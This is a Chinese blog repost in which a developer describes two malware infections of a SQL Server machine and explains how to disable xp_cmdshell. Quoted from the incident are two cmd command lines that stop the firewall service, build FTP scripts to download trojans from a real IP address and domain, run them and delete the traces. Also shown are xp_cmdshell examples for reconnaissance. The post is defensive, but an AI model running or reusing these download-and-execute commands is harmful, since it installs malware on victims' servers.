Sql server注入方式与安全防护的学习

发布时间:2020-11-06 发布网站:编程之家
编程之家收集整理的这篇文章主要介绍了Sql server注入方式与安全防护的学习编程之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。
   建站学院转载 自己的开发机经历了两次的中毒现像.每次中毒的现像,都是sqlserver.exe进程去执行cmd.com进程,然后生成*.sys与*.bat两个文件,然后去使用ftp.exe去下载木马下载器,然后杀毒软件开始报警了.

    下面是cmd.com执行指令内容
    "C:"WINDOWS"system32"cmd.com" /c net1 stop sharedaccess&echo open 218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo 11>>dboy.sys&echo get pc.exe C:"boots.exe>>dboy.sys&echo bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy C:"boots.exeC:"WINDOWS"system32"inf"test.exe&echo start start /high "" C:"WINDOWS"system32"inf"test.exe&echo start C:"boots.exe>>dboy.bat&echo start C:"boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del %0>>dboy.bat&dboy.bat

    "C:"WINDOWS"system32"cmd.com" /c sc stop sharedaccess&echo open ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo if>>dboy1.sys&echo get dboy1.exe C:"Windows"tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo ftp -s:dboy1.sys>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo del dboy1.sys>>system1.bat&echo del %0>>system1.bat&system1.bat


   第一次中毒,之后,就对sql server进行了加强,删除了"xp_cmdshell"这个sql server中最不安全的扩展存储过程.不过,好了没一个月,又来中一次.
   这一次,我检查了数据库日志,xp_cmdshell并没有恢复,不过却在日志在发现了sp_oacreate与sp_oamethod两个存储过程的执行日志.
   于是上网学习,把自己的学习的一些东西记录下来:
   一. 初级sql注入攻击
   初级黑客攻击SQL Server时,首先采用的方法是执行master数据库中的扩展存储过程xp_cmdshell命令来执行一些指令,添加用户,添加文件,添加木马病毒等.
   对付此类黑客只要禁用xp_cmdshell存储过程就可以了.
   xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
   Exec master..xp_cmdshell 'dir'
   将获得SQLSERVER进程的当前工作目录中的目录列表。如图:

在新窗口中预览图片

 

   Exec master..xp_cmdshell 'net user'
   将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。

   从上面的两个示例中可以看出xp_cmdshell的强大功能,功能的强大也意味着破坏性的强大.
   一般情况下,xp_cmdshell对管理员来说也是不必要的,xp_cmdshell的消除不会对Server造成任何影响。    
   可以将xp_cmdshell消除:    
   Use   Master    
   Exec   sp_dropextendedproc   'xp_cmdshell'
   Go    
         
   如果需要的话,可以把xp_cmdshell恢复回来:    
   Use   Master    
   Exec   sp_addextendedproc   'xp_cmdshell','xplog70.dll'
   Go    
   如果有必要可以把xplog70.dll这个文件也删除了,记得做好备份.
   删除了xplog70.dll将影响到"企业管理器"的一部分功能,我碰到的是无法在"企业管理器"中查看数据库服务器的属性.

总结

以上是编程之家为你收集整理的Sql server注入方式与安全防护的学习全部内容,希望文章能够帮你解决Sql server注入方式与安全防护的学习所遇到的程序开发问题。

如果觉得编程之家网站内容还不错,欢迎将编程之家网站推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您喜欢交流学习经验,点击链接加入编程之家官方QQ群:1065694478
编程之家官方公众号

微信公众号搜索 “ 程序精选 ” ,选择关注!

微信公众号搜索 “ 程序精选 ”
精选程序员所需精品干货内容!